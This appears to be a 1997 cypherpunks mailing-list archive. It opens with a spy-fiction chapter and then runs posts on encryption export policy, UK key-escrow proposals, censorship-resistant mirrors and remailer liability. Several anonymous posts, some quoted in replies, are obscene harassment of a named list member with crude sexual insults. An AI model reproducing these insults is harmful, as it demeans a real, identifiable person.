Jonathan shook his head slowly, trying to convince himself that this was all a dream, and that he wasn't 
really irrevocably connected to this band of fringe-dwellers, rogues and eccentrics.
It didn't work.

He remembered the night that Priscilla had knocked on his door, and in his rush to shut off his blue-light 
unit he answered the door with his upper body uncovered. He was terrified when he realized that this 
woman, whom he had never seen before, was standing there, dumbfounded, staring at his tattoo.
Jonathan had almost fainted with relief when she stepped inside the door, quickly shutting it, reached into 
her cloak, and pulled out a bottle of Jack Daniel's, with a label he instantly recognized, saying in a quiet, 
calm voice, "We need to talk."

Tuesday was the worst. That was what set off his three-day binge. He had been working on his skills, like 
the lady had told him to do. And he was keeping his eyes open, like she said. Somehow, seeking to observe 
the weird things, instead of dreading and trying to avoid them, had helped. Now, instead of trying to repress 
the memory of these events, he would analyze them, note them, try to arrange them in a logical fashion, so 
that if he ever had to deal with them, to work with or against them, he would be prepared.
"Be prepared.", that's what the woman had told him during his initiation.
"You will probably will not be contacted for quite some time-perhaps never.", the woman had said, but that 
was all right. Just knowing that there was a Magic Circle, that there were others out there, waiting, 
preparing, possibly already acting against the strange forces he had encountered-that was enough, just 
knowing that he wasn't alone.

And then Tuesday...

It had been a strange couple of weeks.
The weirdness going on in his system was just the 'usual' weirdness. Programs that he hadn't written 
cropping up and running themselves. They followed the normal pattern, in most cases-extracting newly 
input information from the databases he was working with, sorting and codifying it, uploading it to 
/dev/null. Theoretically, that meant it was being sent 'nowhere', but he had long since figured out that 
'nowhere' was 'somewhere' that he was not supposed to discover.

So he left it alone...until Tuesday.

The Cowboy, one of the top computer honchos on the InterNet, probably the top honcho, according to 
many, had dropped out of sight, suddenly and unexpectedly, a couple of weeks before.

Strangely, he had been called into the Cowboy's 'domain'-"Cowboys don't have offices, they ride the 
range.", he had told Jonathan-the next working day after his initiation into the 'Circle'. He thought that this 
might be the 'contact' he was expecting, but it turned out to be a routine, minor matter.
There was a bizarre incident, however, which left Jonathan wondering if the Cowboy was really all that his 
reputation held him out to be.

The Cowboy had been drinking quite liberally from a bottle of Jack Daniel's he had stashed behind the 
monitor, while Jonathan worked on some minor programs that the Cowboy had told him to troubleshoot for 
him. Once Jonathan had completed his tasks, the Cowboy came over to check his work, and proceeded to 
log onto the terminal that Jonathan had been working on.
The Cowboy, his coordination seemingly affected by his prolonged drinking, accidentally hit the return key 
at the 'login:' prompt, and then typed 'Cowboy' into the 'password:' prompt by mistake, which 'hid' what he 
had typed, as it is supposed to do, in order to keep others from discovering another user's password. The 
Cowboy now typed his password in at the subsequent 'login:' prompt, where it was plainly visible for 
Jonathan to see. The Cowboy, in his inebriated state, repeated this mistake several times, cursing the system 
for not allowing him to log on, before realizing what he had done.
The Cowboy, looking up sheepishly at Jonathan, corrected his error, logged onto the system, checked 
Jonathan's work, then dismissed him.

This type of thing happened every now and then, with one user accidentally discovering another user's 
password, but Jonathan had never heard of such a thing at the ultimate level of security which the Cowboy 
was privileged to hold. And even a low-level user, having made this mistake, would immediately 'change' 
his or her password, in order to maintain the security of their user identity and their work. The Cowboy had 
not done this, which bothered Jonathan.

Then, when the Cowboy disappeared, Jonathan was called in to take over some of his duties, which were 
spread amongst a variety of individuals.
Jonathan was amazed at this, since the others sharing the Cowboys former duties were all top-notch, 
experienced 'Net'ers, which he was not, with high-level clearance in their regular posts. Jonathan then 
discovered, when changing his user attributes to match the Cowboy's, so that he could work with a variety 
of 'C-shell' programs, that his own security-level had been changed to match that of the Cowboy. What was 
unusual was that this had been done weeks ago-at the same time that Jonathan had been at home being 
initiated into the 'Circle of Eunuchs'.

Jonathan shivered as he thought about this, with a strange chill running up and down his spine. The same 
strange chill had occurred twice that day. The first time was when he realized that the strange men 
surrounding him in the office he was temporarily working in-men sent down directly from the Chief 
Director's Security Office-were all working frantically to try to 'break into' the Cowboy's user account-which 
Jonathan knew the password for. The second time was shortly thereafter, when thinking about the 'password' 
incident, and realizing that the Cowboy's password-gnimocsizemog-when spelled backwards, read 
'gomeziscoming'.

Then, Tuesday...
Jonathan was working at his home terminal, cleaning up a few leftovers from the day's office work, and he 
had noticed the intruding, unauthorized 'background' programs running, again.
When he checked into their activity, he noticed that they were doing searches on all of his databases, 
searching for the word 'Uncle'. Each time the word was found, the database record was uploaded to 
/dev/null, as usual. Jonathan decided it was time to find out just where the purloined information had been 
going, for all this time.
He pulled a sub-routine out of one of his programs, one designed to report back on 'path' errors when 
debugging programs. It was a sub-routine of his own design, and one that he was quite proud of. When one 
of his programs was sending its output files to some unknown place, with an unknown name, his sub-routine 
(which he called 'find_me.c'), would intervene to 'tag along' with the file, and, at its destination, change do a 
'pwd' command (report the 'present working directory'), and use that and the name of the unknown file as 
arguments for the 'find_me.c' file, which would then report back to Jonathan's terminal with the path name 
and file name of the lost file.

When Jonathan 'piped' his sub-routine into the intruder program, however, he got some very unexpected 
results.
First, he was booted out of his login account, and his terminal screen went blank. Secondly, the power to his 
system went off, and he could not turn it back on. Thirdly...

Jonathan reached for another bottle of bourbon. This one was Wild Turkey. He poured himself a stiff shot, 
threw it back, and thought about the third effect of his program.

Thirdly, there was the sound of jack-boots on the stairs, several minutes later, then the sound of his next-
door neighbor's door being kicked in, shots ringing out, and the sound of jack-boots leaving shortly 
thereafter. Jonathan had looked out the window to see dark figures loading his neighbor's lifeless body into 
a dark vehicle and then drive off into the night.
The following morning, Jonathan had seen the news of his own death come over the VirtualNews link, 
stating that a lone burglar, who escaped capture, was responsible. 
Jonathan had switched apartments with his neighbor the day before, switching their terminals inside the 
junction box himself, rather than wait for the apartment manager's return from his vacation. He had 
chastised himself for forgetting to change the names on their mail slots, as he had promised the neighbor he 
would take care of it, but that omission, apparently, had saved his life.

Jonathan reached for the bottle, once again, and thought about Bubba Rom Dos.
The broken-down old buzzard may be, as the woman had told him, a useless failure, having given up on 
life. But the geezer sure knew how to do it with style, and since it would undoubtedly be discovered, upon 
his landlord's return, that Jonathan was still alive, he could think of no one better to emulate, than Bubba 
Rom Dos, in his final days.

Jonathan raised his glass, in toast, to his new-found 'liquid guru', and he thought about the young girl he had 
encountered on his visit to see Bubba. What was her name? Alexis? 
Yes, Alexis.

----------------------------
Chapter 15 - Initiation







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 24 Mar 1997 16:27:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Proposal:] Revolving Web Mirrors
Message-ID: <199703241835.SAA00098@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I am working on a system of a revoloving web mirror.

The basic operation would be as follows:

1. The Server
- ------------

  The would be a server that would contain a colection of web pages that
have been "baned" or blocked due to their content by various countries. I
addition to this their would be a form that users could fill out to
subscribe to mirror a web page (details under User). The server would mail
out periodicaly to the users different web pages for them to mirror off of
their web pages.

2. The Forms
- ------------
  The Web Form for the user to fill out would give the user the options of
size/# of pages, general content type, and how often to change.

3. The User
- ----------

  The User would be able to offer some of his web space to mirror web pages
that due to their content have been blocked. The users should have a choice
of different catagories of web pages: political, sexual, crypto, ...ect.
(since they are donating the web space they should have some say in what
web pages they mirror).

  The User should be able to determin the amount of web space / # of web
pages he is willing to host.

  The User should be given the option of hosting HTML pages and/or
binaries. If he selects to host binaries he should have some selections as
to what binaries he is willing to host.

4. Links
- -------

 Some users may be unwilling or unable to mirror webpages. That may be
willing to provide links to baned web pages and/or to the web mirror
servers. A collection of links should be made available to the user so they
can be integrated into their web pages.

5. Notification
- ------------

 Users that have subscribed to the Mirror service should be sent e-mail
with a list of web pages that meet the options that they filled out in the
form. The should be given URL's of where they can download the pages along
with the orriginal web pages URL's so they can make the final determination
of what web pages they wish to mirror.



This is just a rough outline. If you have any thoughts or comments on this
please let me know.

If anyone has server space they could donate for such a project please let
me know.

Thanks,




- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBMzccE49Co1n+aLhhAQEvJAP9Edh72M0adX5ZXcKPo6qQvuvbLG/1u6Vo
CrPU8mMtRxbgBptRZgJ+fzCB98nEMASTUb/vkWx4He/sS5xs3Tjy5kS/fdxs9z4W
pNwoau9YsOJOOx8EMUIWJNU08x011kREqxFMP2M7ds+LHsO9HuVy/fvNPVJuXDOV
g7q/tEodJNc=
=+ixR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 24 Mar 1997 18:34:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Reps. White and Bliley: requesting comments on crypto policy
Message-ID: <Pine.GSO.3.95.970324183355.20788A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Mon, 24 Mar 1997 19:33:39 -0500
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Reps. White and Bliley: requesting comments on crypto policy

Reps. Rick White (R-Washington) and Tom Bliley (R-Virginia) have been busy
sending out letters requesting comments on encryption policy -- and asking
pointed questions. The letters have gone to:

  Lieutenant General Kenneth Minihan, Director of the National Security Agency

  Secretary William Daley, United States Department of Commerce

  Director Louis Freeh, Federal Bureau of Investigation

  Ambassador David Aaron, U.S. Special Envoy for Cryptology

  Robert Holleyman, President of the Business Software Association

  Ken Wasch, President of the Software Publishers Association

  Kathy Kincaid, Director of I/T Security Programs at IBM

Attached is the one to the NSA.

-Declan

*******************

March 21, 1997

Lieutenant General Kenneth A. Minihan
Director
National Security Agency/Central Security Service
9800 Savage Road
Fort George G. Meade, MD 20755-6000
 

Dear General Minihan:

The Committee on Commerce has jurisdiction over
all matters relating to interstate and foreign
commerce, including commerce transacted over
electronic mediums. One vehicle for interstate
and foreign electronic commerce, the Internet,
has experienced unexpected and exceptional
growth. Our Committee has an obligation to ensure
that the growth of electronic commerce over the
Internet and other networks is not stifled by
unnecessary or harmful regulation or policies.
Thus, the Committee will be discussing what
policies best promote electronic commerce over
the Internet and other networks.

The growth and success of the Internet and the
World Wide Web as both a communications tool, and
a medium for electronic commerce is
unprecedented. Leading industry estimates
indicate that the number of people using the
Internet is increasing at the rate of more than
100% per year -- few technologies have had such
quick acceptance into the daily activities of
Americans. However, the full potential of the
Internet as a means for conducting business
transactions, or electronic commerce, has yet to
be achieved. Most leading experts agree that a
developed Internet, and corresponding intranets,
have the capability to be engines for economic
growth for those offering services over the
Internet, and also have the capability to be a
means for transforming business operations from
one of paper-intensity to one conducted solely
through electronic communications and
transactions.

Unlocking the full potential of the Internet and
thus, promoting the use of electronic commerce
has been difficult, in part, because of existing
and perceived barriers, e.g., many consumers and
businesses are concerned with the security and
privacy of transactions that would occur over the
Internet. A belief in the security of information
passed over the Internet and through on-line
services that use the public switched network
will foster the continued growth of electronic
commerce. Fortunately, the use of cryptography or
encryption, either hardware or software, may
provide a technological aid in the promotion of
electronic commerce. We believe, however, that a
sound encryption policy for both interstate and
foreign electronic commerce must balance users=
privacy interests with society=s interest in
legitimate law enforcement and investigative
needs and the needs to preserve national
security.

As you know, the U.S. has export restrictions on
certain encryption products that may or may not
interfere with the development of encryption
products designed to secure communications and
transactions. These restrictions have been the
subject of recently proposed legislation in
committees in both the House and Senate.

Because of our responsibility over electronic
commerce, we seek to have your views on a number
of the issues related to the various bills.
Therefore, we request that you provide written
answers to the following questions by April 25,
1997: (1) With the understanding that there are
no domestic restrictions on encryption products,
please provide examples where national security
may be jeopardized by the relaxation of current
American export restriction policy, as
incorporated in Executive Order 13026 and
implemented, in part, in the corresponding Bureau
of Export Administration rules of December 30,
1996. Are there remedies other than export
restrictions that would provide the United States
government the access it needs to encrypted
communications, e.g., increased funding for new
advanced computers? (2) How significant is your
agencies= consultive role with the Department of
Commerce within the current export restrictions?
Should this role be strengthened or is it even
necessary? How much additional application
process time does your agencies= consultive role
add to the Department of Commerce=s procedures?
(3) It is commonly accepted that current
encryption export restrictions imposed by the
Administration will delay the proliferation of
advanced encryption products, but that it is
inevitable that advanced encryption products will
be developed world-wide. In your opinion, do
export restrictions prevent the development and
distribution of advanced encryption products? (4)
Are foreign import restrictions consistent with
the Administration=s policy? Please identify the
countries that have import restrictions and those
that have stated their intent not to have any
import restrictions. If the United States relaxes
its export restrictions, do you anticipate that
foreign nations will increase their import
restrictions?

In addition, we request that your staff analyze
and submit their comments on the following: (1)
the current export restrictions; (2) the
congressional bills introduced that would alter
export policy (H.R. 695, S. 376, S. 377); and (3)
any other analysis related to encryption export
policy your organization has prepared.

Please have your staff contact John Morabito or
Tricia Paoletta of the Commerce Committee staff
at (202) 225-2927 if you have any questions
regarding the above request. We thank you in
advance for your assistance. With kindest
regards, we are

Sincerely,

 

Tom Bliley

Chairman


Rick White

Member of Congress





-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 24 Mar 1997 19:30:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <v03007809af5c7b59b9dd@[207.167.93.63]>
Message-ID: <56g44D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> (I could go on and cite dozens of examples. Did ASCII need the "force of
> law" to  make it a better standard? Did the government have to certify,
> license, and regulate the makers of various implmentations of computer
> languages? And so on.)

Bad example, Timmy.  I used to hang out with the standards people and
yes, a lot of government purchases (both US and non-US) are mandated
to comply with ANSI and ISO standards, which is why vendors push so hard
to have their implementation declared the standard. Yes, U.S.Gov't does
buy certified ANSI C, Fortran, etc compilers, not to mention ADA.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 24 Mar 1997 20:52:59 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: UK to ban free use of crypto?
Message-ID: <199703250451.UAA13267@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 3/24/97 -0800, Bill Stewart wrote:
>The document is at http://dtiinfo1.dti.gov.uk/pubs/
>>It quite clearly does not intend to ban the use of cryptography or the
>>publication of cryptographic software.  
>
>And Michael Froomkin offers similar sentiments.  They're both lawyers,
>and I'm not (:-), so they're expected to do a better job of reading
>the legal parts of it.  On the other hand, the DTI says:
>	57.The legislation will provide that bodies wishing to offer 
>	or provide encryption services to the public in the UK will be 
>	required to obtain a licence. The legislation will give the 
>	Secretary of State discretion to determine appropriate licence conditions. 
>and it's got a really broad definition of "encryption services",
>including even things such as time-stamping.

Allowing government to "license" such services is a truly awful eventuality. 
 If such organizations merely had to comply with limited number of laws, 
getting around those laws would be relatively easy.  And the burden of proof 
(in many/most jurisdictions) is on the government to prove "guilt."  But the 
moment you start "licensing" those organizations, the licensing terms may 
allow refusal or revocation of license for little or no reason, or hidden 
reasons:  Perhaps the organization wouldn't "play footsie" with the 
government, giving up some information secretly and without a warrant.  
Potentially a large business goes down the drain.  Licensing is, therefore, 
an invitation to an essentially unlimited amount of coercion and manipulation.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Mon, 24 Mar 1997 21:49:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:  Disturbed Individual
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <199703250618.WAA27055@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message is the product of a disturbed individual.  From 
a Freudian perspective the sendee is projecting his own perversions 
onto the character of the subject of his ridicule.  This analysis is 
a touch simplistic but then who are we dealing with???
 


>Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
>spelling and feeble responses clearly identify him as a 
>product of the American education system.

         ___
       ./_ -\.
      q| o O |p
  -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise

Virtually

Raymond Mereniuk
Raymond@wcs.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 24 Mar 1997 21:54:42 -0800 (PST)
To: Shabbir Safdar <cypherpunks@toad.com
Subject: Re: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703250554.VAA22477@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:

>The hearing was held by the Senate Commerce Committe to consider S. 377,
>the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
>issue of US encryption policy -- a critical issue to the Internet user
>community.

I, and maybe a lot of other people, are still waiting for somebody to do a 
side-by-side comparison of "Pro-Code 1997" with last year's version, the 
original.

What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
it?  Are they embarrassed?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 24 Mar 1997 19:43:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announce: list-abuse mailing list
Message-ID: <v030209a5af5cf8b9f408@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 24 Mar 1997 15:12:13 +7
From: "John Buckman" <jbuckman@shelby.com>
Subject: Announce: list-abuse mailing list
To: listmom-talk@skyweyr.com
Precedence: Bulk
Sender: "ListMom-Talk Discussion List" <listmom-talk@skyweyr.com>
Reply-To: "ListMom-Talk Discussion List" <listmom-talk@skyweyr.com>

On the list-managers list, I suggested that a mailing list
discussing how to prevent mailing list abuse might be useful.

Based on the strongly positive feedback I received about the idea,
I've gone ahead and created a "list-abuse" mailing list.  I
apologize to members of "list-managers" who have already received
this announcement.

General instructions about joining "List-Abuse" are available at:
http://clio.lyris.net/list-abuse/

Alternatively, you can send email to: join-list-abuse@clio.lyris.net

About LIST-ABUSE: LIST-ABUSE is an Internet discussion group working
to stop abuses of Internet mailing lists. In particular, we aim to
stop mail bombs, spoofed-subscribers, denial of service attacks, and
other forms of "Mailing List Terrorism". Mailing list administrators,
authors of mailing list software, and others interested in mailing
list abuse are welcome to join.

John

John Buckman <jbuckman@shelby.com>
Shelby Group Ltd., http://www.shelby.com/
Developers of Lyris Email List Server

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 24 Mar 1997 20:27:44 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: Jackboots in Canada
In-Reply-To: <199703212230.OAA29364@slack.lne.com>
Message-ID: <199703250449.WAA00786@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric said:
> owner-cypherpunks@sirius.infonex.com writes:
> > ...Hell's Angels and Rock Machine...have been battling for control of the
> > illegal drug trade in Canada.
> > Canadian justice minister, Allan Rock, said the measures would include
> > broadening laws on search warrants, electronic eavesdropping and bail
> > conditions for arrested gang members.
> The alternative, proposed by some goverment person (governor?) in Quebec, was
> to suspend "individual liberties" for bikers, making it possible to
> pull one over at any time, search them, and if explosives are found
> assume they're guilty until proven innocent. 
> That last part just floored me, how could anyone be willing to throw
> away rights like that?  At least here in the US they're not so

	It isn't their rights being thrown away, it is the rights of the 
evil bikers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 21:56:51 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703250020.QAA14541@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225356.39424A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



>From the pervert VULIS

On Mon, 24 Mar 1997, Mix wrote:

> Many forgeries are traceable with mathematical certainty to 
> feebleminded Tim C[rook] May's poison keyboard.
> 
>          ( )( )________ Tim C[rook] May
>          /00           \      _
>         O_\\--mm---mm  /_______)
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 22:00:11 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703250019.QAA14324@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970324225735.39424D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Mar 1997, Mix wrote:

Vulis give it up.

> Timmy C[rook] Mayonnaise's abysmal grammar, atrocious 
> spelling and feeble responses clearly identify him as a 
> product of the American education system.
> 
>          ___
>        ./_ -\.
>       q| o O |p
>   -oOOO--~U~--OOOo- Timmy C[rook] Mayonnaise
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 24 Mar 1997 22:05:31 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [IMPORTANT] Forgery detection
In-Reply-To: <199703250408.XAA32673@dhp.com>
Message-ID: <Pine.A41.3.95.970324230230.39424G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Mar 1997, lucifer Anonymous Remailer wrote:

PILL TIME vulis.

> Timmy C[rook] May's mother attempted to pro-choice the 
> unwanted little bastard by fishing with a coat hanger in her 
> giant cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little Timmy's 
> fetal cranium (not much to begin with).
> 
>          _
>         / '
>        |
>     /><oo><\  Timmy C[rook] May
>    //[ `' ]\\
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 24 Mar 1997 20:08:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Forgery detection
Message-ID: <199703250408.XAA32673@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[rook] May's mother attempted to pro-choice the 
unwanted little bastard by fishing with a coat hanger in her 
giant cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little Timmy's 
fetal cranium (not much to begin with).

         _
        / '
       |
    /><oo><\  Timmy C[rook] May
   //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 24 Mar 1997 16:37:41 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: UK to ban free use of crypto?
In-Reply-To: <3.0.1.32.19970324005655.00627bd8@popd.ix.netcom.com>
Message-ID: <199703250023.AAA00902@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> The big problem is that the document has a really warped view of the 
> cryptographic and business services that a "Trusted Third Party" 
> would provide, and some parts are expressed in quite broad language.
> For instance, it implies that the TTP is being trusted with private keys,
> otherwise there would be no way for it to recover anything.
> 
> On the other hand, from their Q&A:
> 	Q: Will a TTP be able to access an encrypted message ? 
> 	A: No. It is important to be clear that it is not envisaged 
> 	that the encrypted communication would be routed via the TTP. 
> 	Nor will the TTP encrypt the message, it will merely assist 
> 	(depending on the service offered) in the very complex area of 
> 	key management or Key Certification. 

I think that the paper implies in several places that TTPs, if they
offer a CA service for public encryption keys, will also be required
to hold the private keys, and to hand the private keys over to the
government on demand.

This Q&A is not contradictory with this interpretation.

When they say that the TTP will not be able to decrypt the message,
what they mean is that it would be able to decrypt the message if the
message were given to it, but that that's not the way the GAK
architecture works.

What happens is they first obtain a authorisation for a wire tap, then
obtain copies of your email.  Then they go to the central access point
and ask for your private key.  Then *they* decrypt your email.  `The
TTP will not be able to access an encrypted message' in the sense that
they won't give it the message to decrypt.

> If the TTP is not encrypting the data, they don't need the secret key
> or your private key.  They DO need your public key, to sign it, 
> so a second party can trust that a key they have is really yours.
> But you and the second party can use the signed keys to exchange a
> secret session key, or to sign documents, without the TTP's help.*

This is bypassing the intent of the key-escrow/GAK functionality of a
TTP.  There is a section which discusses this, and makes it a design
criteria that users not be able to by pass the GAK function, whilst
making use of the signature certification function.  Personally, I'm
not sure that this is possible, as there a whole host of ways around
it.  (Use the signature key in the way you suggest, superencrypt,
subliminal channels, stego, etc).

> The main time you want another party to have a copy of your keys
> is for stored data:  to cover the "employee dies" case 
> (the document explicitly permits companies to handle their own keys 
> without regulation, so no TTP is needed here),

This is the point which I think should be pushed: the only commercial
need for CKE (_commerical_ key escrow) is for _stored_ data.  Do you
see any corporations crying out to open their communications for
industrial espionage by DISSI, NSA, GCHQ, etc.?

> SO - what _is_ all this malarkey about "legal access" and "key recovery"
> and "key escrow" systems?  The document claims repeatedly that it's not
> purporting to regulate any of the conditions under which a Third Party
> would ever be Trusted with the keys you actually encrypted something with.

I think there are several sections which imply that the TTP must keep
private encryption keys for any public encryption keys it holds (and
that it must allow government access to them).  There are many places
where the presumption is made that the TTP has the key to release to
government.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 25 Mar 1997 02:29:15 -0800 (PST)
To: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <3.0.1.32.19970325015832.006f7ef8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 PM 3/24/97 -0500, Andy Dustman wrote:
>The first idea, which I've mentioned before, is requiring users to "sign" 
>a user agreement (magic cookie exchange) before they can send or receive
>messages. This agreement basically states that the operator does not
>monitor or filter based on content, and cannot trace messages back to the
>original sender, and thus is not liable under US law for contents (check
>some of the CDA provisions); and that the user is wholly responsible for
>the legality of any messages sent.

I think there are two broad models of complaints/problems with remailers:

1. The recipient is angry because they received a message they didn't like.
(because it's an advertisement, or it's rude, or it's an image that their
parents didn't like ..) 

2. A third party is angry because the sender sent some information to the
recipient which the third party thinks should not have been sent. (copyright,
trademark, defamation, tortious interference with [prospective] contract,
etc.) 

Your "contract" model (which looks like you really mean it to be a waiver of
warranty/damages and/or an indemnification agreement) addresses (1) to the
point of overkill, but it doesn't reach (2), because there's no contract with
the third party, who is the party who's likely to be filing suit.
(Indemnification by the sender might work, if you worded the contract
correctly - but then you've got to abandon anonymity, and the value of
indemnification from person you don't know whose assets/finances are unknown
is pretty low.)

Further, some fraction of the messages causing concern are message sent or
available to minors .. whose contracts (modulo some exceptions) are voidable
at their option. :(

>The second idea, which I want to implement in conjunction with the above,
>is to insert a disclaimer in the message body at the top of the message
>with the important points (and references to) the user agreement,
>including how to block messages. There would be a mechanism for clueful
>users to disable this for messages they receive. 

This also works better for messages which are bothersome because of (1), but
not (2). You can't, as a general rule, evade a duty imposed by law by posting
signs saying "I'm not subject to a duty imposed by law." If it was that easy,
we'd all be driving cars marked "GET OUT OF MY WAY, I'M NOT LIABLE IF I DRIVE
INTO YOU". (Of course, such signs are still useful, if they trick people into
not even thinking about suing someone who's got such a sign .. :) 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzehnv37pMWUJFlhAQF/Jwf/QXgM9arbu4ERP4HwcNciKxfLLJFu7/0e
yLEmuh0Nh7Ici0DbTtHK25ff8q/IHHMPZwuaNE9fXRhgewMvZKLrRXicBjpLisZE
3xjbuUwfqghyf9isa0vV6gOuGeZrzA10qqBFhze+kqkBN3qgT6Zk6c2xbT6rBxeA
TaD4Nwpg0xBKjHZjP8IYeYOIxN0zEpa3YTV4PSWKieHj71nfpa7B4FUiPHWZUOqA
x+p3oDV6dBkkkvxpASU5ifhTl0eRVO+xSidOZz6rF+cKyIELrk1A9j3BbdiwfyUy
jmr/0kin8OEqEkvOSQ1SJipEvEQbhauMMzoKLpVwngdO3ErX1SB6gg==
=QSem
-----END PGP SIGNATURE-----

--
